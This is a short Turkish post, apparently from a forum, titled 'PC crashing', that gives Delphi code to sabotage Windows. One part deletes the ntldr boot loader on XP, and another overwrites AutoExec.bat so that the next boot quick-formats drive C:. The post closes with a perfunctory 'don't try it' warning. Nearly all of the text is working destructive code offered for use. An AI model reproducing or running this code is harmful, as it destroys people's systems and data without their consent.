Pc Çökertme

XP İçin
chdir('C:');
Deletefile('ntldr');

Tümü İçin;
Bir Memo Lazım

Memo1.lines.loadfromfile('C:\AutoExec.bat');
Memo1.refresh;
Memo1.lines.text:= 'Format C:/q';
Memo1.lines.savetoFile('C:\AutoExec.bat');

Sakın denemeyin.Yada harici bir harddiske yedeklerinizi aldıktan sonra deneyin.